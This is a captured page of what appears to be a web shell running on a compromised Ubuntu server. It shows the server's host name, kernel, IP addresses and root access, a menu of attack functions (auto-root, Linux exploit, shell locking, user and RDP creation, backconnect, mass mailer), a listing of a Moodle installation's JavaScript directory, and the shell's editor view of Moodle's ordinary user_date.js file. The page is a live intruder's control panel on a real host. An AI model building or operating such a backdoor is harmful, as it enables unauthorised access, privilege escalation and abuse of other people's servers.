Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
lib /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
adapter.js
195.35
KB
-rw-rw-r--
addblockmodal.js
2.56
KB
-rw-rw-r--
ajax.js
7.69
KB
-rw-rw-r--
auto_rows.js
3.35
KB
-rw-rw-r--
backoff_timer.js
5.12
KB
-rw-rw-r--
chart_axis.js
7.43
KB
-rw-rw-r--
chart_bar.js
3.13
KB
-rw-rw-r--
chart_base.js
10.63
KB
-rw-rw-r--
chart_builder.js
1.67
KB
-rw-rw-r--
chart_line.js
2.13
KB
-rw-rw-r--
chart_output.js
1.1
KB
-rw-rw-r--
chart_output_base.js
2.09
KB
-rw-rw-r--
chart_output_chartjs.js
10.79
KB
-rw-rw-r--
chart_output_htmltable.js
3.36
KB
-rw-rw-r--
chart_pie.js
3.09
KB
-rw-rw-r--
chart_series.js
7.88
KB
-rw-rw-r--
chartjs-lazy.js
670.93
KB
-rw-rw-r--
chartjs.js
933
B
-rw-rw-r--
config.js
1.05
KB
-rw-rw-r--
custom_interaction_events.js
16.56
KB
-rw-rw-r--
event.js
3.03
KB
-rw-rw-r--
first.js
1.38
KB
-rw-rw-r--
form-autocomplete.js
40.7
KB
-rw-rw-r--
form-cohort-selector.js
2.56
KB
-rw-rw-r--
form-course-selector.js
3.75
KB
-rw-rw-r--
fragment.js
4.72
KB
-rw-rw-r--
icon_system.js
2.52
KB
-rw-rw-r--
icon_system_fontawesome.js
3.59
KB
-rw-rw-r--
icon_system_standard.js
2.14
KB
-rw-rw-r--
inplace_editable.js
13.18
KB
-rw-rw-r--
key_codes.js
1.32
KB
-rw-rw-r--
localstorage.js
2.1
KB
-rw-rw-r--
log.js
1.76
KB
-rw-rw-r--
loglevel.js
8.99
KB
-rw-rw-r--
modal.js
23.49
KB
-rw-rw-r--
modal_backdrop.js
3.86
KB
-rw-rw-r--
modal_cancel.js
2.57
KB
-rw-rw-r--
modal_confirm.js
1.78
KB
-rw-rw-r--
modal_events.js
1.49
KB
-rw-rw-r--
modal_factory.js
7.64
KB
-rw-rw-r--
modal_registry.js
2.29
KB
-rw-rw-r--
modal_save_cancel.js
3.74
KB
-rw-rw-r--
mustache.js
22.86
KB
-rw-rw-r--
notification.js
9.2
KB
-rw-rw-r--
paged_content_events.js
998
B
-rw-rw-r--
paged_content_factory.js
9.6
KB
-rw-rw-r--
paged_content_pages.js
10.26
KB
-rw-rw-r--
paged_content_paging_bar.js
6.83
KB
-rw-rw-r--
paged_content_paging_dropdown....
7.18
KB
-rw-rw-r--
permissionmanager.js
9.61
KB
-rw-rw-r--
popover_region_controller.js
12.58
KB
-rw-rw-r--
popper.js
79.2
KB
-rw-rw-r--
search-input.js
3.24
KB
-rw-rw-r--
sessionstorage.js
2.24
KB
-rw-rw-r--
storagewrapper.js
5.17
KB
-rw-rw-r--
str.js
7.37
KB
-rw-rw-r--
tag.js
18.12
KB
-rw-rw-r--
templates.js
31.41
KB
-rw-rw-r--
tooltip.js
4.1
KB
-rw-rw-r--
tree.js
17.58
KB
-rw-rw-r--
truncate.js
6.65
KB
-rw-rw-r--
url.js
3.69
KB
-rw-rw-r--
user_date.js
7.47
KB
-rw-rw-r--
yui.js
1.15
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : user_date.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Fetch and render dates from timestamps. * * @module core/user_date * @package core * @copyright 2017 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define(['jquery', 'core/ajax', 'core/sessionstorage', 'core/config'], function($, Ajax, Storage, Config) { /** @var {object} promisesCache Store all promises we've seen so far. */ var promisesCache = {}; /** * Generate a cache key for the given request. The request should * have a timestamp and format key. * * @param {object} request * @return {string} */ var getKey = function(request) { var language = $('html').attr('lang').replace(/-/g, '_'); return 'core_user_date/' + language + '/' + Config.usertimezone + '/' + request.timestamp + '/' + request.format; }; /** * Retrieve a transformed date from the browser's storage. * * @param {string} key * @return {string} */ var getFromLocalStorage = function(key) { return Storage.get(key); }; /** * Save the transformed date in the browser's storage. * * @param {string} key * @param {string} value */ var addToLocalStorage = function(key, value) { Storage.set(key, value); }; /** * Check if a key is in the module's cache. * * @param {string} key * @return {bool} */ var inPromisesCache = function(key) { return (typeof promisesCache[key] !== 'undefined'); }; /** * Retrieve a promise from the module's cache. * * @param {string} key * @return {object} jQuery promise */ var getFromPromisesCache = function(key) { return promisesCache[key]; }; /** * Save the given promise in the module's cache. * * @param {string} key * @param {object} promise */ var addToPromisesCache = function(key, promise) { promisesCache[key] = promise; }; /** * Send a request to the server for each of the required timestamp * and format combinations. * * Resolves the date's deferred with the values returned from the * server and saves the value in local storage. * * @param {array} dates * @return {object} jQuery promise */ var loadDatesFromServer = function(dates) { var args = dates.map(function(data) { return { timestamp: data.timestamp, format: data.format }; }); var request = { methodname: 'core_get_user_dates', args: { contextid: Config.contextid, timestamps: args } }; return Ajax.call([request], true, true)[0].then(function(results) { results.dates.forEach(function(value, index) { var date = dates[index]; var key = getKey(date); addToLocalStorage(key, value); date.deferred.resolve(value); }); return; }) .catch(function(ex) { // If we failed to retrieve the dates then reject the date's // deferred objects to make sure they don't hang. dates.forEach(function(date) { date.deferred.reject(ex); }); }); }; /** * Takes an array of request objects and returns a promise that * is resolved with an array of formatted dates. * * The values in the returned array will be ordered the same as * the request array. * * This function will check both the module's static promises cache * and the browser's session storage to see if the user dates have * already been loaded in order to avoid sending a network request * if possible. * * Only dates not found in either cache will be sent to the server * for transforming. * * A request object must have a timestamp key and a format key. * * E.g. * var request = [ * { * timestamp: 1293876000, * format: '%d %B %Y' * }, * { * timestamp: 1293876000, * format: '%A, %d %B %Y, %I:%M %p' * } * ]; * * UserDate.get(request).done(function(dates) { * console.log(dates[0]); // prints "1 January 2011". * console.log(dates[1]); // prints "Saturday, 1 January 2011, 10:00 AM". * }); * * @param {array} requests * @return {object} jQuery promise */ var get = function(requests) { var ajaxRequests = []; var promises = []; // Loop over each of the requested timestamp/format combos // and add a promise to the promises array for them. requests.forEach(function(request) { var key = getKey(request); // If we've already got a promise then use it. if (inPromisesCache(key)) { promises.push(getFromPromisesCache(key)); } else { var deferred = $.Deferred(); var cached = getFromLocalStorage(key); if (cached) { // If we were able to get the value from session storage // then we can resolve the deferred with that value. No // need to ask the server to transform it for us. deferred.resolve(cached); } else { // Add this request to the list of ones we need to load // from the server. Include the deferred so that it can // be resolved when the server has responded with the // transformed values. request.deferred = deferred; ajaxRequests.push(request); } // Remember this promise for next time so that we can // bail out early if it is requested again. addToPromisesCache(key, deferred.promise()); promises.push(deferred.promise()); } }); // If we have any requests that we couldn't resolve from the caches // then let's ask the server to get them for us. if (ajaxRequests.length) { loadDatesFromServer(ajaxRequests); } // Wait for all of the promises to resolve. Some of them may be waiting // for a response from the server. return $.when.apply($, promises).then(function() { // This looks complicated but it's just converting an unknown // length of arguments into an array for the promise to resolve // with. return arguments.length === 1 ? [arguments[0]] : Array.apply(null, arguments); }); }; return { get: get }; });
Close